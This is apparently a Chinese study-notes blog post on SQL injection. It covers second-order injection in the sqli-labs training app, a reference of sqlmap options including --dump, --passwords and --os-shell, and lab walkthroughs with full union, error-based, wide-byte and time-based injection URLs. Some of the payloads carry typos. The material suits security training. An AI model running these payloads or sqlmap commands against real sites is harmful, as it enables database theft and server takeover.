百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 优雅编程 > 正文

第六天二次注入sqlmap简单参数(sqlmap注入攻击实例)

sinye56 2024-09-29 21:55 4 浏览 0 评论

二次注入

今天学习二次注入

二次注入原理

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

也就是说在应用程序中输入恶意造的数据库查询语句时会被转义,但是在数据库内部调用读取语句的时候又被还原。

二次注入,可以概括为以下两步:

第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。

第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

二次注入需要具备的两个条件:

(1)用户向数据库插入恶意语句(即使后端代码对语句进行了转义,如mysql_escape_string、mysql_real_escape_string,addslahes等等转义)

(2)后端对从数据库中取出恶意数据没有进行过滤直接进行sql语句的拼接

有哪些注入可以绕过addslashes等过滤函数:
1.宽字节2.整型注入3.二次编码注入4.二次注入

复现今天的二次注入

sqli-labs -- 24

先在网站注册个账户,分别是admin’ -- 1

看一下注册代码

抓个包看一下

向PHPSTORM发包

可以看到使用了mysql_real_escape_string进行转义处理,无法进行SQL注入

可以看到传入的username、password、re_password仍均被mysql_escape_string进行了转义处理,但是在数据库中还是插入了admin’ -- 1,

这是因为当数据写入到数据库的时候反斜杠会被移除,所以写入到数据库的内容就是原始数据,并不会在前面多了反斜杠。

数据库中查询的信息。如下:

在登陆页面先用用户admin’ -- 1'进行登陆,登陆后发现可以进行密码修改。

可以看到使用了mysql_real_escape_string进行转义处理,无法进行SQL注入。

原因:

#在数据库语言中起注释的作用,所以这样子的话,不知不觉中被更改密码的成了admin,而不是admin’ -- 1'。

因为我们将问题数据存储到了数据库,而程序再取数据库中的数据的时候没有进行二次判断便直接带入到代码中,从而造成了二次注入。


$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

sqlmap的简单用法

sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。

sqlmap支持五种不同的注入模式:

UNION query SQL injection(可联合查询注入)

Error-based SQL injection(报错型注入)

Boolean-based blind SQL injection(布尔型注入)

Time-based blind SQL injection(基于时间延迟注入)

Stacked queries SQL injection(可多语句查询注入)

支持数据库:Mysql、Oracle、PostgreSQL、MSSQL、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDb

-U参数

-u “URL” : 指定URL,get请求方式

格式sqlmap.py -u

-M 参数

从文本中获取多个目标扫描,但是每 一行只能有一个url.

sqlmap -m urllist.txt

-R 参数

从文件中加载HTTP请求,这样的话 就不需要在去设定cookie,POST数据......等等

设置回显等级

参数:-v 默认为1:

0、只显示python错误以及严重的信息。

1、同时显示基本信息和警告信息。(默认等级)

2、同时显示debug信息。

3、同时显示注入的payload。 记住

4、同时显示HTTP请求。 记住

5、同时显示HTTP响应头。

6、同时显示HTTP响应页面。

data参数:

此参数是把data后面的数据以POST方式提交,sqlmap会像检测GET参数一样检测POST提交过去的参数。

python sqlmap.py -u “http://59.63.200.79:8003/?id=1&username=admin&password=123“ —date=”username=admin&password=123”

Cookie 参数

当web需要登录的时候,需要我们抓包获取cookie参数,然后复制出来,加到--cookie参数中。

--cookie=”Cookie: Hm_lvt6910067,1546929561,1547001094,1547024662; PHPSESSID=o64fbvo316lg59njufl2gfutm4; ”

参数:–cookie、–cookie-del、–drop-set-cookie和–load-cookies

有两种情况会用到这些参数:

要测试的页面只有在登录状态下才能访问,登录状态用cookie识别

想要检测是否存在cookie注入

当“–level”设置为2或更高时,Sqlmap会检测cookie是否存在注入漏洞

(1).“–cookie”和“–cookie-del”

在浏览器中登录目标网站后复制出维持登录状态的cookie,用参数“–cookie”来指定这些cookie,如:

python sqlmap.py -u "http://192.168.56.102:8080/user.php" --cookie "JSESSIONID=E5D6C8C81;NAME=werner;"

与POST参数不同,cookie默认的分隔符为“;”,想要指定cookie中的分隔符,使用参数“–cookie-del”。

User-Agent

参数:–user-agent和–random-agent


默认情况下Sqlmap发送的HTTP请求中的User-Agent值为:

1

sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)

使用参数“–user-agent”可以指定一个User-Agent值。但正常的User-Agent值长什么样我们可能并不记得,所以有了参数“–random-agent”,使用该参数,Sqlmap会从文件./txt/user-agents.txt中随机地取一个User-Agent。注意,在一次会话中只有使用同一个User-Agent,并不是每发一个HTTP请求包,都随机一个User-Agent。


用如下命令统计user-agents.txt行数:

1

cat sqlmap/txt/user-agents.txt | wc -l

结果为4211,当然其中还包含空行、注释等,但总的来说该文件中存储的User-Agent也有4千多个。

当“–level”设置为3或更高时,Sqlmap会检测User-Agent是否存在注入漏洞,关于“–level”的更多信息见下文。

6.Host

参数:–host

使用该参数可以手动指定HTTP头中的Host值。

当“–level”设置为5或更高时,Sqlmap会检测Host是否存在注入漏洞,关于“–level”的更多信息见下文。

7.Referer

参数:–referer

使用该参数可以指定HTTP头中的Referer值。Sqlmap发送的HTTP请求头部默认无Referer字段。

当“–level”设置为3或更高时,Sqlmap会检测Referer是否存在注入漏洞,关于“–level”的更多信息见下文。

8.额外的HTTP头

参:–headers

使用该参数可以在Sqlmap发送的HTTP请求报文头部添加字段,若添加多个字段,用“\n”分隔。如命令:

python sqlmap.py -u "http://192.168.56.101:8080/" -v 5 --headers "X-A:A\nX-B: B"

发送的HTTP请求包为:

GET / HTTP/1.1X-B: BHost: 192.168.56.101:8080Accept-encoding: gzip,deflateX-A: AAccept: */*User-agent:

加参数“-v 5”是为了让Sqlamp输出发送的HTTP请求包,便于我们观察。

--delay 参数

可以设定两个http请求间的延迟,设定为1的时候是1秒,默认是没有延迟的。

指定测试参数-p ,

默认情况下Sqlmap会测试所有GET参数和POST参数,当level大于等于2时会测试cookie参数,当level大于等于3时会测试User-Agent和Referer。实际上还可以手动指定一个以逗号分隔的、要测试的参数列表,该列表中的参数不受level限制。这就是“-p”的作用。

举个例子,若想只测试GET参数“id”和User-Agent,则可以这么写:
-p "id,user-agent"

--skip 参数

在使用--level时,级别很大的时候,但是有些参数不能去测试,那么可以使用--skip参数跳过。

如果不想测试某一参数则可以使用“–skip”。如设置了level为5但不想测试User-Agent和Referer,则可以这么写:

--level=5 --skip="user-agent,referer"

--level (sqlmap -r 情况下)

共有五个等级,默认为1,sqlmap使用的payload可以在 xml/payloads.xml中看到,自己也可以根据相应的格式添加自己的payload。

level>=2的时候就会测试HTTP Cookie。

level>=3的时候就会测试HTTP User-Agent/Referer头。

level=5 的时候会测试HTTP Host。

–risk 参数

共有三个风险等级,1-3,

默认是1会测试大部分的测试语句,

2会增加基于时间的测试语句(heavy query),

3会增加OR语句的SQL注入测试。

在有些时候,例如在UPDATE,DELETE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。

-列数据

--dbs,--users用户名,--passwords密码,--is-dba可以判断当前权限

--technique :指定使用哪种注入类型

速度排序=联合(U)>报错(E)>布尔(Bool)>延迟(Time)

--current-db 当前数据库

--privileges 权限

-D 后面 表名

-D database_name --tables

-D database_name -T table_name --columns

-D database_name -T table_name -C column_1,column_2 --dump

--dump-all 将整个数据库的所有数据进行打包

–dbs 参数

查询当前用的下的所有数据库

该命令用于查询当前用户下的所有数据库,前提是当前用户有权限读取包含所有数据库列表信息的表

python sqlmap.py -u http://www.sqli.com/Less-26/?id=1 -p id -dbs

--current-db 当前数据库

python sqlmap.py -u http://www.sqli.com/Less-26/?id=1 -p id -techique U -current-db

获取数据库中所有表名

查询指定的数据库的所有表名,-D是指定某一个具体的数据库,如果没有指定,则会列出数据库中所有的库的表

python sqlmap.py -u http://www.sqli.com/Less-26/?id=1 -p id -techique U -D security -tables

获取表中的字段名:

sqlmap -u URL -D 数据库名 -T user_info –-columns

user_info 是数据库中的一个表

python sqlmap.py -u http://www.sqli.com/Less-26/?id=1 -p id -techique U -D security -T users --columns

获取字段内容:

sqlmap -u URL -D 数据库名 -T 表名 -C username,password –-dump

这里查询username和password的值

获取数据库的所有用户:

sqlmap -u URL –-users

前提是当前用户有权限读取包含所有用户的表的权限

获取数据库用户的密码:

sqlmap -u url –passwords

列出数据库用户的密码,前提是当前用户有读取包含用户密码的权限

获取当前网站数据库的用户名称:

sqlmap -u URL –-current-user

sqlmap里怎么清除缓存问题

这里我们用--purge就解决了。

sqlmap.py -u “url” –os-cmd=”netuser” /*执行net user命令*/ sqlmap.py -u “url” –os-shell /*系统交互的shell*/

sqlmap (--os-shell)的使用

第二步 扫描注入点

python sqlmap.py -u http://www.sqli.com/Less-26/?id=1 --os-shell

第三步 选择网站的语言

第四步 输入网站的绝对路径

Sqli less-31

http://www.sqli.com/Less-31/?id=0&id=2

加单双引号看一下

http://www.sqli.com/Less-31/?id=0&id=2%22

双引号报错 存在注入

\

闭合成功

http://www.sqli.com/Less-31/?id=0&id=4%22)%20--%201

order by 4 报错 存在3列

http://www.sqli.com/Less-31/?id=0&id=4%22)%20order%20by%204--%201

判断显示位

2,3 都是回显位

http://www.sqli.com/Less-31/?id=0&id=4%22)%20union%20select%201,2,3--%201

http://www.sqli.com/Less-31/?id=0&id=0%22)%20union%20select%201,user(),database()--%201

获取所有库名

http://www.sqli.com/Less-31/?id=0&id=0%22)%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata--%201

获取所有表名

https://www.sqli.com/Less-31/?id=0&id=0%22)%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27--%201

获取所有字段

https://www.sqli.com/Less-31/?id=0&id=0%22)%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27--%201

Sqli less-31

函数addslashes 单双引号 过滤了

存在宽子节注入 GB3212 GBK GB18030 都宽字节

%df 吃掉/

http://www.sqli.com/Less-32/?id=2%df%27%20--%201

获取所有表名联合

http://www.sqli.com/Less-32/?id=0%df%27union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata s --%201

获取所有报错方法库名

http://www.sqli.com/Less-32/?id=0%df%27%20and%20updatexml(1,concat(0x7e,(select%20database())),1);%00

获取所有报错表名

http://www.sqli.com/Less-32/?id=0%df%27union%20select%201,group_concat(table_name),3%20from%20information_schema.tabls%20where%20table_schema=0x7365637572697479;%00

Sqli less-33

发现‘ 被过滤了

那么 宽字节绕过

?id=-1%df%27%20union%20select%201,database(),3%23

此处过滤使用函数addslashes()

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符是:

单引号(')

双引号(")

反斜杠(\)

和32关一样

http://www.sqli.com/Less-33/?id=0%df%27union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata%20s%20--%201

Sqli less-47

根据提示需要使用sort进行注入

单引号错误

报错显示我们多了一个”将其注释?sort=1’ –+成功

试了一下联合注入报错

http://www.sqli.com/Less-47/?sort=1%27union%20select%201,user(),3%20--%201

尝试使用报错注入

http://www.sqli.com/Less-47/?sort=1%27%20and%20extracatvalue(1,concat(0\x7e,(select%20database()),0x7e))%20--%201 – + 成功

可以用报错注入

Sqli less-48

http://www.sqli.com/Less-48/?sort=%27-1%27%20and%20extracatvalue(1,concat(0\x7e,(select%20database()),0x7e))

Print_r(mysql_error());

没有报错显示

尝试一下bool sleep时间注入

大概就这样

select * from users where id="1" and if (ascii(substr(database(),1,1))> 111, sleep(3),1) -- 1

相关推荐

RHEL8和CentOS8怎么重启网络

本文主要讲解如何重启RHEL8或者CentOS8网络以及如何解决RHEL8和CentOS8系统的网络管理服务报错,当我们安装好RHEL8或者CentOS8,重启启动网络时,会出现以下报错:...

Linux 内、外网双网卡路由配置

1.路由信息的影响Linux系统中如果有多张网卡的情况下,如果路由信息配置不正确,...

Linux——centos7修改网卡名

修改网卡名这个操作可能平时用不太上,可作为了解。修改网卡默认名从ens33改成eth01.首先修改网卡配置文件名(建议将原配置文件进行备份)...

CentOS7下修改网卡名称为ethX的操作方法

?Linux操作系统的网卡设备的传统命名方式是eth0、eth1、eth2等,而CentOS7提供了不同的命名规则,默认是基于固件、拓扑、位置信息来分配。这样做的优点是命名全自动的、可预知的...

Linux 网卡名称enss33修改为eth0

一、CentOS修改/etc/sysconfig/grub文件(修改前先备份)为GRUB_CMDLINE_LINUX变量增加2个参数(net.ifnames=0biosdevname=0),修改完成...

CentOS下双网卡绑定,实现带宽飞速

方式一1.新建/etc/sysconfig/network-scripts/ifcfg-bond0文件DEVICE=bond0IPADDR=191.3.60.1NETMASK=255.255.2...

linux 双网卡双网段设置路由转发

背景网络情况linux双网卡:网卡A(ens3)和网卡B(...

Linux-VMware设置网卡保持激活

Linux系统只有在激活网卡的状态下才能去连接网络,进行网络通讯。修改配置文件(永久激活网卡)...

VMware虚拟机三种网络模式

01.VMware虚拟机三种网络模式由于linux目前很热门,越来越多的人在学习linux,但是买一台服务放家里来学习,实在是很浪费。那么如何解决这个问题?虚拟机软件是很好的选择,常用的虚拟机软件有v...

Rocky Linux 9/CentOS Stream 9修改网卡配置/自动修改主机名(实操)

推荐...

2023年最新版 linux克隆虚拟机 解决网卡uuid重复问题

问题描述1、克隆了虚拟机,两台虚拟机里面的ip以及网卡的uuid都是一样的2、ip好改,但是uuid如何改呢?解决问题1、每台主机应该保证网卡的UUID是唯一的,避免后面网络通信有问题...

Linux网卡的Vlan配置,你可能不了解的玩法

如果服务器上连的交换机端口已经预先设置了TRUNK,并允许特定的VLAN可以通过,那么服务器的网卡在配置时就必须指定所属的VLAN,否则就不通了,这种情形在虚拟化部署时较常见。例如在一个办公环境中,办...

Centos7 网卡绑定

1、切换到指定目录#备份网卡数据cd/etc/sysconfig/network-scriptscpifcfg-enp5s0f0ifcfg-enp5s0f0.bak...

Linux搭建nginx+keepalived 高可用(主备+双主模式)

一:keepalived简介反向代理及负载均衡参考:...

Linux下Route 路由指令使用详解

linuxroute命令用于显示和操作IP路由表。要实现两个不同子网之间的通信,需要一台连接两个网络的路由器,或者同时位于两个网络的网关来实现。在Linux系统中,设置路由通常是为了解决以下问题:该...

取消回复欢迎 发表评论: